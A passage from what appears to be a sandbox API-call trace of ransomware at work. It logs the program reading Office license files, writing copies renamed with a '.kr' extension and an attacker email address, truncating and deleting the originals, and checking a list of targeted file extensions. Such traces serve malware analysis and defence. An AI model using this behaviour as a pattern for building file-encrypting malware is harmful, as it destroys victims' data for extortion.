lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.069] lstrlenW (lpString=".zip") returned 4 [0209.069] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString=".rar") returned 4 [0209.069] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString=".bz2") returned 4 [0209.069] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString=".7z") returned 3 [0209.069] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.069] lstrlenW (lpString=".dbf") returned 4 [0209.069] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.069] lstrlenW (lpString=".1cd") returned 4 [0209.069] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.069] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms") returned 88 [0209.069] lstrlenW (lpString=".jpg") returned 4 [0209.069] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.069] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.069] lstrlenW (lpString="O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 41 [0209.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0209.070] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11655) returned 1 [0209.070] CloseHandle (hObject=0x410) returned 1 [0209.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms")) returned 0x220 [0209.070] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0209.071] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.071] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.072] GetLastError () returned 0x0 [0209.072] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d87, lpOverlapped=0x0) returned 1 [0209.074] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0209.075] ReadFile (in: hFile=0x410, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.075] WriteFile (in: hFile=0x3ec, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x126, lpOverlapped=0x0) returned 1 [0209.075] SetEndOfFile (hFile=0x3ec) returned 1 [0209.075] CloseHandle (hObject=0x3ec) returned 1 [0209.075] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.075] SetEndOfFile (hFile=0x410) returned 1 [0209.078] CloseHandle (hObject=0x410) returned 1 [0209.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms")) returned 1 [0209.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.195] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.195] lstrlenW (lpString=".doc") returned 4 [0209.195] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.195] lstrlenW (lpString=".docx") returned 5 [0209.195] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.195] lstrlenW (lpString=".pdf") returned 4 [0209.195] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.195] lstrlenW (lpString=".xls") returned 4 [0209.195] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.195] lstrlenW (lpString=".xlsx") returned 5 [0209.195] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.195] lstrlenW (lpString=".ppt") returned 4 [0209.196] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.196] lstrlenW (lpString=".zip") returned 4 [0209.196] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString=".rar") returned 4 [0209.196] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString=".bz2") returned 4 [0209.196] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString=".7z") returned 3 [0209.196] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.196] lstrlenW (lpString=".dbf") returned 4 [0209.196] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.196] lstrlenW (lpString=".1cd") returned 4 [0209.196] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.196] lstrlenW (lpString=".jpg") returned 4 [0209.196] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.196] lstrlenW (lpString=".doc") returned 4 [0209.196] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.196] lstrlenW (lpString=".docx") returned 5 [0209.196] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.197] lstrlenW (lpString=".pdf") returned 4 [0209.197] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString=".xls") returned 4 [0209.197] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString=".xlsx") returned 5 [0209.197] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.197] lstrlenW (lpString=".ppt") returned 4 [0209.197] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.197] lstrlenW (lpString=".zip") returned 4 [0209.197] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString=".rar") returned 4 [0209.197] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString=".bz2") returned 4 [0209.197] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString=".7z") returned 3 [0209.197] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.197] lstrlenW (lpString=".dbf") returned 4 [0209.197] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.197] lstrlenW (lpString=".1cd") returned 4 [0209.197] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms") returned 91 [0209.197] lstrlenW (lpString=".jpg") returned 4 [0209.197] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.198] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.198] lstrlenW (lpString="OneNoteR_Grace-ul-oob.xrm-ms") returned 28 [0209.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x500 [0209.321] GetFileSizeEx (in: hFile=0x500, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11599) returned 1 [0209.321] CloseHandle (hObject=0x500) returned 1 [0209.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms")) returned 0x220 [0209.388] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.628] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.628] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.713] GetLastError () returned 0x0 [0209.713] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d4f, lpOverlapped=0x0) returned 1 [0209.745] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0209.746] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.747] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x10c, lpOverlapped=0x0) returned 1 [0209.747] SetEndOfFile (hFile=0x370) returned 1 [0209.747] CloseHandle (hObject=0x370) returned 1 [0209.747] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.747] SetEndOfFile (hFile=0x3ec) returned 1 [0209.749] CloseHandle (hObject=0x3ec) returned 1 [0209.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.750] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms")) returned 1 [0209.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.751] lstrlenW (lpString=".doc") returned 4 [0209.751] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.751] lstrlenW (lpString=".docx") returned 5 [0209.751] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.751] lstrlenW (lpString=".pdf") returned 4 [0209.751] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.751] lstrlenW (lpString=".xls") returned 4 [0209.751] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.751] lstrlenW (lpString=".xlsx") returned 5 [0209.752] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.752] lstrlenW (lpString=".ppt") returned 4 [0209.752] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.752] lstrlenW (lpString=".zip") returned 4 [0209.752] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString=".rar") returned 4 [0209.752] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString=".bz2") returned 4 [0209.752] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString=".7z") returned 3 [0209.752] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.752] lstrlenW (lpString=".dbf") returned 4 [0209.752] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.752] lstrlenW (lpString=".1cd") returned 4 [0209.752] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.752] lstrlenW (lpString=".jpg") returned 4 [0209.752] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.752] lstrlenW (lpString=".doc") returned 4 [0209.752] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.752] lstrlenW (lpString=".docx") returned 5 [0209.752] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.753] lstrlenW (lpString=".pdf") returned 4 [0209.753] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString=".xls") returned 4 [0209.753] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString=".xlsx") returned 5 [0209.753] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.753] lstrlenW (lpString=".ppt") returned 4 [0209.753] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.753] lstrlenW (lpString=".zip") returned 4 [0209.753] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString=".rar") returned 4 [0209.753] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString=".bz2") returned 4 [0209.753] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString=".7z") returned 3 [0209.753] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.753] lstrlenW (lpString=".dbf") returned 4 [0209.753] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.753] lstrlenW (lpString=".1cd") returned 4 [0209.753] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms") returned 78 [0209.753] lstrlenW (lpString=".jpg") returned 4 [0209.753] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.753] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0209.754] lstrlenW (lpString="OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 31 [0209.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.754] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=11592) returned 1 [0209.754] CloseHandle (hObject=0x3ec) returned 1 [0209.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0209.754] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0209.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0209.755] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.755] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0209.756] GetLastError () returned 0x0 [0209.756] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x2d48, lpOverlapped=0x0) returned 1 [0209.758] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0209.759] ReadFile (in: hFile=0x3ec, lpBuffer=0x3d55020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.759] WriteFile (in: hFile=0x370, lpBuffer=0x3d55020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d55020*, lpNumberOfBytesWritten=0x313fc94*=0x112, lpOverlapped=0x0) returned 1 [0209.759] SetEndOfFile (hFile=0x370) returned 1 [0209.759] CloseHandle (hObject=0x370) returned 1 [0209.759] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.760] SetEndOfFile (hFile=0x3ec) returned 1 [0209.762] CloseHandle (hObject=0x3ec) returned 1 [0209.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0209.763] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ul-oob.xrm-ms")) returned 1 [0209.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.764] lstrlenW (lpString=".doc") returned 4 [0209.764] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString=".docx") returned 5 [0209.764] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0209.764] lstrlenW (lpString=".pdf") returned 4 [0209.764] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString=".xls") returned 4 [0209.764] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString=".xlsx") returned 5 [0209.764] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0209.764] lstrlenW (lpString=".ppt") returned 4 [0209.764] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.764] lstrlenW (lpString=".zip") returned 4 [0209.764] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString=".rar") returned 4 [0209.764] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString=".bz2") returned 4 [0209.764] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0209.764] lstrlenW (lpString=".7z") returned 3 [0209.764] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0209.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.764] lstrlenW (lpString=".dbf") returned 4 [0209.764] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.765] lstrlenW (lpString=".1cd") returned 4 [0209.765] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0209.765] lstrlenW (lpString=".jpg") returned 4 [0209.765] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0209.765] lstrlenW (lpString="C:\\Program 